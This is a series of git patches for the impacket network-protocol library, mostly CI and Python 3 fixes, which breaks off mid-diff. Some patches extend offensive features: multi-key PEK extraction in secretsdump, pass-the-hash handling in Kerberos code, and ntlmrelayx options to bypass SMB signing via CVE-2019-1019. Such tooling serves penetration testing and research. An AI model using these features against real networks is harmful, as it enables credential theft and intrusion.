From 1f1baeabacc52d9d11e8e10626632ae3653391f5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Wed, 3 Apr 2019 16:22:04 +0200 Subject: [PATCH 01/45] smb3: fix the check to not encrypt anonymous connection --- impacket/smb3.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/smb3.py b/impacket/smb3.py index e95c613d..6b945c59 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -650,7 +650,7 @@ def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', a self._Session['SigningKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], b"SMB2AESCMAC\x00", b"SmbSign\x00", 128) # Do not encrypt anonymous connections - if user == '': + if user == '' or self.isGuestSession(): self._Connection['SupportsEncryption'] = False # Calculate the key derivations for dialect 3.0 @@ -798,7 +798,7 @@ def login(self, user, password, domain = '', lmhash = '', nthash = ''): self._Session['SessionID'] = packet['SessionID'] # Do not encrypt anonymous connections - if user == '': + if user == '' or self.isGuestSession(): self._Connection['SupportsEncryption'] = False # Calculate the key derivations for dialect 3.0 From 1114c3e1ac14cfc4b33e6b8f1cd470eb484a80bd Mon Sep 17 00:00:00 2001 From: cclauss Date: Thu, 4 Apr 2019 18:07:56 +0200 Subject: [PATCH 02/45] Travis CI: Time to take off the training wheels... Should the __python36__ branch be removed as well to keep folks from stumbling into the wrong place? --- .travis.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index ad25f63c..5db90c13 100644 --- a/.travis.yml +++ b/.travis.yml @@ -8,8 +8,6 @@ matrix: env: NO_REMOTE=true, TOXENV=py27 - python: 3.6 env: NO_REMOTE=true, TOXENV=py36 - allow_failures: - - python: 3.6 install: pip install flake8==3.6.0 tox -r requirements.txt From 29e4bbb0735c758f307c442758578fb45e03e295 Mon Sep 17 00:00:00 2001 From: skorov Date: Fri, 5 Apr 2019 11:23:37 +1100 Subject: [PATCH 03/45] Fixed bug where hLsarOpenPolicy2 was being reference (incorrectly) from lsat --- examples/lookupsid.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/lookupsid.py b/examples/lookupsid.py index 0c2e0dba..c8baa4e9 100755 --- a/examples/lookupsid.py +++ b/examples/lookupsid.py @@ -87,7 +87,7 @@ def __bruteForce(self, rpctransport, maxRid): dce.bind(lsat.MSRPC_UUID_LSAT) - resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) + resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] if self.__domain_sids: # get the Domain SID From 3ccc22bbde4c2ca17b7201ff4c997cdf89f7779c Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 15:12:28 +0200 Subject: [PATCH 04/45] Travis CI: Test on Python 3.7 and flake8 3.7 --- .travis.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 5db90c13..818fdc86 100644 --- a/.travis.yml +++ b/.travis.yml @@ -8,13 +8,16 @@ matrix: env: NO_REMOTE=true, TOXENV=py27 - python: 3.6 env: NO_REMOTE=true, TOXENV=py36 + - python: 3.7 + env: NO_REMOTE=true, TOXENV=py37 + dist: xenial # required for Python >= 3.7 -install: pip install flake8==3.6.0 tox -r requirements.txt +install: pip install flake8==3.7.7 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - flake8 . --count --ignore=E1,E2,E3,,E501,W291,W293 --exit-zero --max-complexity=10 --max-line-length=127 --statistics script: tox From 6bdecc02071b76cb08884ef67c131a0fbb2b2828 Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 15:14:15 +0200 Subject: [PATCH 05/45] tox.ini: Add py37 --- tox.ini | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tox.ini b/tox.ini index 100f8148..77d579f2 100644 --- a/tox.ini +++ b/tox.ini @@ -1,12 +1,13 @@ # content of: tox.ini , put in same dir as setup.py [tox] -#envlist = py26#, py27,py36 -envlist = py27,py36 +#envlist = py26#, py27,py36,py37 +envlist = py27,py36,py37 [testenv] basepython = py26: python2.6 py27: python2.7 py36: python3.6 + py37: python3.7 changedir = {toxinidir}/tests deps=-rrequirements.txt coverage From ef0769230961609c5f58f3aabe0de56699d501ea Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 15:20:43 +0200 Subject: [PATCH 06/45] Revert flake8 upgrade --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 818fdc86..4e8bedaa 100644 --- a/.travis.yml +++ b/.travis.yml @@ -12,7 +12,7 @@ matrix: env: NO_REMOTE=true, TOXENV=py37 dist: xenial # required for Python >= 3.7 -install: pip install flake8==3.7.7 tox -r requirements.txt +install: pip install flake8==3.6.0 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names From 6d064d00974128054ded721847ebb56276c66f8d Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 15:21:00 +0200 Subject: [PATCH 07/45] Update .travis.yml --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 4e8bedaa..0b18abf4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -18,6 +18,6 @@ before_script: # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --ignore=E1,E2,E3,,E501,W291,W293 --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=10 --max-line-length=127 --statistics script: tox From fef3bb983fed9d65d11b71ab40fbff709bb8853c Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 15:44:19 +0200 Subject: [PATCH 08/45] flake8 . --max-complexity=65 --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 0b18abf4..f50dc355 100644 --- a/.travis.yml +++ b/.travis.yml @@ -18,6 +18,6 @@ before_script: # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics script: tox From 754a421fd937402ae51921cc82c2004d0fd9962a Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 16:13:25 +0200 Subject: [PATCH 09/45] remcomsvc.py: Remove backslash at end of the file flake8 says: ``` ./impacket/examples/remcomsvc.py:1:1: E902 TokenError: EOF in multi-line statement ``` --- impacket/examples/remcomsvc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/remcomsvc.py b/impacket/examples/remcomsvc.py index 67676b72..b89725c9 100644 --- a/impacket/examples/remcomsvc.py +++ b/impacket/examples/remcomsvc.py @@ -1666,4 +1666,4 @@ def close(self): b'0000000000000000000000000000000000000000000000000000000000000000000000' \ b'0000000000000000000000000000000000000000000000000000000000000000000000' \ b'0000000000000000000000000000000000000000000000000000000000000000000000' \ -b'00000000000000000000' \ +b'00000000000000000000' From f784e233265960dbeacf91a28d63d0614c2d8171 Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 16:14:21 +0200 Subject: [PATCH 10/45] Upgrade flake8 to 3.7.7 --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index f50dc355..8d653c94 100644 --- a/.travis.yml +++ b/.travis.yml @@ -12,7 +12,7 @@ matrix: env: NO_REMOTE=true, TOXENV=py37 dist: xenial # required for Python >= 3.7 -install: pip install flake8==3.6.0 tox -r requirements.txt +install: pip install flake8 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names From cd58aedca42a05c4a5f90a25f333f04d03af6852 Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 7 Apr 2019 17:06:07 +0200 Subject: [PATCH 11/45] Flake8: Raise all E9xx errors --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8d653c94..261eba51 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,7 +16,7 @@ install: pip install flake8 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names - - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics + - flake8 . --count --select=E9,F72,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics From b1458ce76a6bd6155c3c69860d184ddecc3f3cc0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Wed, 17 Apr 2019 13:38:32 +0200 Subject: [PATCH 12/45] Add STYPE_MASK constant --- impacket/dcerpc/v5/srvs.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index dba1e440..9d5f5205 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -86,6 +86,9 @@ class PSHARE_DEL_HANDLE(NDRPOINTER): STYPE_SPECIAL = 0x80000000 STYPE_TEMPORARY = 0x40000000 +# AND with shi_type to extract the Share Type part +STYPE_MASK = 0x000000FF + # 2.2.2.5 Client-Side Caching (CSC) States CSC_CACHE_MANUAL_REINT = 0x00 CSC_CACHE_AUTO_REINT = 0x10 From a0ca1af5afcf1c8885d17fc4085ac79b5b2c7f1f Mon Sep 17 00:00:00 2001 From: cclauss Date: Thu, 18 Apr 2019 17:08:43 +0200 Subject: [PATCH 13/45] Remove trailing backslash in remcomsvc.py --- impacket/examples/remcomsvc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/remcomsvc.py b/impacket/examples/remcomsvc.py index 67676b72..b89725c9 100644 --- a/impacket/examples/remcomsvc.py +++ b/impacket/examples/remcomsvc.py @@ -1666,4 +1666,4 @@ def close(self): b'0000000000000000000000000000000000000000000000000000000000000000000000' \ b'0000000000000000000000000000000000000000000000000000000000000000000000' \ b'0000000000000000000000000000000000000000000000000000000000000000000000' \ -b'00000000000000000000' \ +b'00000000000000000000' From 434c8680f6e8dd9e459ca86612658e3efaac7976 Mon Sep 17 00:00:00 2001 From: asolino Date: Tue, 23 Apr 2019 09:00:07 -0300 Subject: [PATCH 14/45] ConfigParse should always receive strings, not ints - Shown under Python3 (Python2 doesn't care) - Addresses https://github.com/SecureAuthCorp/impacket/issues/617 - Also fixed another minor Python2/3 dict port --- impacket/smbserver.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index c7c4ad94..70b6888c 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -805,7 +805,7 @@ def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataC connData = smbServer.getConnectionData(connId) errorCode = 0 # Get the Tid associated - if connData['ConnectedShares'].has_key(recvPacket['Tid']): + if recvPacket['Tid'] in connData['ConnectedShares']: data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '', struct.unpack(' Date: Thu, 25 Apr 2019 19:55:15 -0700 Subject: [PATCH 15/45] support multiple PEKs in Windows 2016 __decryptHash was throwing IndexError on Windows 2016 if a hash was encrypted with a PEK with a higher index than 0. This patch attempts to extract all keys from the PEK list. The PEK list format was reverse engineering by eyeball. YMMV. --- impacket/examples/secretsdump.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 46dbe6c7..7d5b11b5 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1888,8 +1888,21 @@ def __getPek(self): decryptedPekList = self.PEKLIST_PLAIN( self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], encryptedPekList['KeyMaterial'])) - self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16]) - LOG.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]).decode('utf-8')) + + # PEK list entries take the form: + # index (4 byte LE int), PEK (16 byte key) + # the entries are in ascending order, and the list is terminated + # by an entry with a non-sequential index (08080808 observed) + pos, cur_index = 0, 0 + while True: + pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20] + if len(pek_entry) < 20: break # if list truncated, should not happen + index, pek = unpack(' Date: Sat, 4 May 2019 21:09:26 -0300 Subject: [PATCH 16/45] Dummy clean on file This is a lazy change. Delete commented and unused lines. --- tests/ImpactPacket/test_TCP_bug_issue7.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/tests/ImpactPacket/test_TCP_bug_issue7.py b/tests/ImpactPacket/test_TCP_bug_issue7.py index a4c677ce..11069013 100755 --- a/tests/ImpactPacket/test_TCP_bug_issue7.py +++ b/tests/ImpactPacket/test_TCP_bug_issue7.py @@ -23,10 +23,6 @@ def run(self): frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' tcp = TCP(frame) - #except Exception,e: - # print "aaaaaaaaaaaaaaa" - # print e - #except Exception,e: except ImpactPacketException as e: if str(e) != "'TCP Option length is too low'": raise e From d1ba169fa2efabdd18e62d5e2407eecfd4525cb8 Mon Sep 17 00:00:00 2001 From: SR4ven <46794237+SR4ven@users.noreply.github.com> Date: Fri, 10 May 2019 17:08:59 +0200 Subject: [PATCH 17/45] Fixed broken ldap3 requirement --- .travis.yml | 2 ++ requirements.txt | 2 +- setup.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 261eba51..0c7a2926 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,6 +15,8 @@ matrix: install: pip install flake8 tox -r requirements.txt before_script: + # Verify installed packages have compatible dependencies + - pip check # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F72,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide diff --git a/requirements.txt b/requirements.txt index 267b2366..54ad3426 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,6 @@ six pyasn1>=0.2.3 pycryptodomex pyOpenSSL>=0.16.2 -ldap3>=2.5 +ldap3==2.5.1 ldapdomaindump>=0.9.0 flask>=1.0 diff --git a/setup.py b/setup.py index 5c5d8730..21ade556 100644 --- a/setup.py +++ b/setup.py @@ -36,7 +36,7 @@ def read(fname): 'impacket.examples.ntlmrelayx.attacks'], scripts = glob.glob(os.path.join('examples', '*.py')), data_files = data_files, - install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3>=2.5.0', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], + install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3==2.5.1', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], extras_require={ 'pyreadline:sys_platform=="win32"': [], 'python_version<"2.7"': [ 'argparse' ], From 9b57fa47dda1311f0bb800ab498700d5c0efeef1 Mon Sep 17 00:00:00 2001 From: SR4ven <46794237+SR4ven@users.noreply.github.com> Date: Fri, 10 May 2019 17:47:18 +0200 Subject: [PATCH 18/45] Moved pip check from tavis to tox --- .travis.yml | 2 -- tox.ini | 1 + 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 0c7a2926..261eba51 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,8 +15,6 @@ matrix: install: pip install flake8 tox -r requirements.txt before_script: - # Verify installed packages have compatible dependencies - - pip check # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F72,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide diff --git a/tox.ini b/tox.ini index 77d579f2..9055f5f7 100644 --- a/tox.ini +++ b/tox.ini @@ -14,4 +14,5 @@ deps=-rrequirements.txt py26: wheel==0.29.0 coverage passenv = NO_REMOTE +commands_pre = {envpython} -m pip check commands=./runall.sh {envname} > /dev/null From 8eea8c257e5452dd3ce565b684edca68c08e8e1e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Fri, 10 May 2019 18:00:53 +0200 Subject: [PATCH 19/45] nmb: add timeout for whole read operation in non_polling_read --- impacket/nmb.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/impacket/nmb.py b/impacket/nmb.py index 3d163bbf..ec08870c 100644 --- a/impacket/nmb.py +++ b/impacket/nmb.py @@ -967,13 +967,17 @@ def polling_read(self, read_length, timeout): def non_polling_read(self, read_length, timeout): data = b'' + if timeout is None: + timeout = 3600 + + start_time = time.time() bytes_left = read_length while bytes_left > 0: try: ready, _, _ = select.select([self._sock.fileno()], [], [], timeout) - if not ready: + if not ready or (time.time() - start_time) > timeout: raise NetBIOSTimeout received = self._sock.recv(bytes_left) From 1c4f9d49757c68bbcf7a0c3b4c99a265d7880374 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Tue, 21 May 2019 18:32:04 +0200 Subject: [PATCH 20/45] smbserver.py: fix order of "computer\username" in log messages --- impacket/smbserver.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index 70b6888c..8083e82f 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -2451,8 +2451,8 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): # accept-completed respToken['NegResult'] = b'\x00' - smbServer.log('User %s\\%s authenticated successfully' % (authenticateMessage['user_name'].decode('utf-16le'), - authenticateMessage['host_name'].decode('utf-16le'))) + smbServer.log('User %s\\%s authenticated successfully' % (authenticateMessage['host_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))) # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage try: @@ -2830,7 +2830,7 @@ def smb2SessionSetup(connId, smbServer, recvPacket): # accept-completed respToken['NegResult'] = b'\x00' smbServer.log('User %s\\%s authenticated successfully' % ( - authenticateMessage['user_name'].decode('utf-16le'), authenticateMessage['host_name'].decode('utf-16le'))) + authenticateMessage['host_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage try: From 25a37a242156d1773fad9ad98a9aeb4851ca3051 Mon Sep 17 00:00:00 2001 From: asolino Date: Wed, 22 May 2019 19:24:15 -0300 Subject: [PATCH 21/45] Adjusting lmhash, nthash and aesKey to Python3 binary data - Thought I already did it but there are some use cases that weren't working, so a more safer approach is taken now (i.e. converting everything to binary at the very beginning) - This should address https://github.com/SecureAuthCorp/impacket/issues/628 --- impacket/krb5/kerberosv5.py | 62 +++++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 13 deletions(-) diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 7371b8a9..a352c1f1 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -1,4 +1,4 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -80,7 +80,24 @@ def sendReceive(data, host, kdcHost): return r def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): - + + # Convert to binary form, just in case we're receiving strings + if isinstance(lmhash, str): + try: + lmhash = unhexlify(lmhash) + except TypeError: + pass + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + asReq = AS_REQ() domain = domain.upper() @@ -121,17 +138,17 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: - aesKey = '' + aesKey = b'' - if nthash == '': + if nthash == b'': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. - if aesKey != '': - if len(aesKey) == 64: + if aesKey != b'': + if len(aesKey) == 32: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) @@ -211,10 +228,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH cipher = _enctype_table[enctype] # Pass the hash/aes key :P - if nthash != '' and (isinstance(nthash, bytes) and nthash != b''): + if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) - elif aesKey != '': - key = Key(cipher.enctype, unhexlify(aesKey)) + elif aesKey != b'': + key = Key(cipher.enctype, aesKey) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) @@ -282,7 +299,7 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) @@ -490,7 +507,26 @@ def getKerberosType3(cipher, sessionKey, auth_data): return cipher, sessionKey2, resp.getData() -def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): +def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', + kdcHost = None, useCache = True): + + # Convert to binary form, just in case we're receiving strings + if isinstance(lmhash, str): + try: + lmhash = unhexlify(lmhash) + except TypeError: + pass + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + if TGT is None and TGS is None: if useCache is True: try: @@ -540,7 +576,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) @@ -568,7 +604,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) From f67caa7a60ea1f3a92e7255182cbe72e5420a6f4 Mon Sep 17 00:00:00 2001 From: iptwLcP9 Date: Thu, 23 May 2019 17:13:36 -0300 Subject: [PATCH 22/45] Adjust the option domain-search-list to be synchronized with its definition in the RFC 3397 --- impacket/dhcp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/dhcp.py b/impacket/dhcp.py index 0f0f8bed..826cf7ac 100644 --- a/impacket/dhcp.py +++ b/impacket/dhcp.py @@ -130,7 +130,7 @@ class DhcpPacket(ProtocolPacket, structure.Structure): 'fully-qualified-domain-name':(81,':'), # https://www.ietf.org/rfc/rfc4702.txt 'default-url': (114, ':'), # text (URL) - not defined in any RFC but assigned by IANA 'auto-configuration':(116,'B'), # https://www.ietf.org/rfc/rfc2563.txt - 'domain-search-list':(119,'B'), # https://www.ietf.org/rfc/rfc3397.txt + 'domain-search-list':(119,':'), # https://www.ietf.org/rfc/rfc3397.txt 'classless-route-121':(121, ':'), # https://www.ietf.org/rfc/rfc3442.txt 'classless-route-249':(249, ':'), # https://web.archive.org/web/20140205135249/support.microsoft.com/kb/121005 'proxy-autoconfig':(252,':'), From d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395 Mon Sep 17 00:00:00 2001 From: asolino Date: Wed, 29 May 2019 14:42:40 -0300 Subject: [PATCH 23/45] Let's try w/o decoding Unicode - We should actually do what we meant. - Should address https://github.com/SecureAuthCorp/impacket/issues/631 --- impacket/smbserver.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index 8083e82f..e2761951 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -151,13 +151,13 @@ def outputToJohnFormat(challenge, username, domain, lmresponse, ntresponse): if len(ntresponse) > 24: # Extended Security - NTLMv2 ret_value = {'hash_string': '%s::%s:%s:%s:%s' % ( - username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(challenge).decode('latin-1'), + username.decode('latin-1'), domain.decode('latin-1'), hexlify(challenge).decode('latin-1'), hexlify(ntresponse)[:32].decode('latin-1'), hexlify(ntresponse)[32:].decode('latin-1')), 'hash_version': 'ntlmv2'} else: # NTLMv1 ret_value = {'hash_string': '%s::%s:%s:%s:%s' % ( - username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'), + username, domain, hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'), hexlify(challenge).decode('latin-1')), 'hash_version': 'ntlm'} except Exception as e: import traceback From 5257b9dfbd2db13878313ad0bc58754b8ac50820 Mon Sep 17 00:00:00 2001 From: Marina Simakov Date: Thu, 13 Jun 2019 16:30:26 +0300 Subject: [PATCH 24/45] CVE-2019-1019: Bypass SMB singing for unpatched machines --- examples/ntlmrelayx.py | 13 ++ impacket/dcerpc/v5/dtypes.py | 5 +- .../ntlmrelayx/clients/smbrelayclient.py | 158 +++++++++++++++++- .../ntlmrelayx/servers/httprelayserver.py | 9 + impacket/examples/ntlmrelayx/utils/config.py | 15 +- impacket/smb3.py | 5 + 6 files changed, 194 insertions(+), 11 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 93d5081f..ac4cdfc8 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -157,6 +157,8 @@ def start_servers(options, threads): if server is HTTPRelayServer: c.setListeningPort(options.http_port) + c.setTargetRemoval(options.remove_target) + c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) elif server is SMBRelayServer: c.setListeningPort(options.smb_port) @@ -256,6 +258,17 @@ def stop_servers(threads): mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' '(can specify multiple)') + #HTTPS options + httpoptions = parser.add_argument_group("HTTP options") + httpoptions.add_argument('-machine-account', action='store', required=False, + help='Domain machine account to use when interacting with the domain to grab a session key for ' + 'signing, format is domain/machine_name') + httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", + help='Domain machine hashes, format is LMHASH:NTHASH') + httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + httpoptions.add_argument('-remove-target', action='store_true', default=False, + help='Try to remove the target in the challenge message (in case CVE-2019-1019 is not installed)') + #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index ae45ba78..bab80ced 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -105,7 +105,10 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': try: - self.fields[key] = value.encode('utf-8') + if not isinstance(value, bytes): + self.fields[key] = value.encode('utf-8') + else: + self.fields[key] = value except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8') diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py 